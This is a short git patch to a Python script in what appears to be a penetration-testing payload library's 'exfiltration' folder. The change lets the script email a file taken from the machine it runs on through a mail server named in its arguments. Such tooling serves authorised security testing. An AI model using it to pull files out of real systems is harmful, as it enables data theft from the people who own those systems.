From 95c54d273949c582898298cbc8c817dddaa27da4 Mon Sep 17 00:00:00 2001 From: TheDragonkeeper Date: Sat, 4 Nov 2017 16:34:35 +0000 Subject: [PATCH] workaround for bash sending file --- payloads/library/exfiltration/Email-Sender/sendmail.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/payloads/library/exfiltration/Email-Sender/sendmail.py b/payloads/library/exfiltration/Email-Sender/sendmail.py index 8033319..b26e7e8 100644 --- a/payloads/library/exfiltration/Email-Sender/sendmail.py +++ b/payloads/library/exfiltration/Email-Sender/sendmail.py @@ -11,9 +11,13 @@ import sys sys.path.append("/root/extensions") from sendemail import send_mail -send_mail(sys.argv[1], sys.argv[2], +if len(sys.argv) > 8: + send_mail(sys.argv[1], sys.argv[2], + sys.argv[3], + sys.argv[4], + server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]]) +else: + send_mail(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], -# files=sys.argv[8], server=sys.argv[5], username=sys.argv[6], password=sys.argv[7]) -)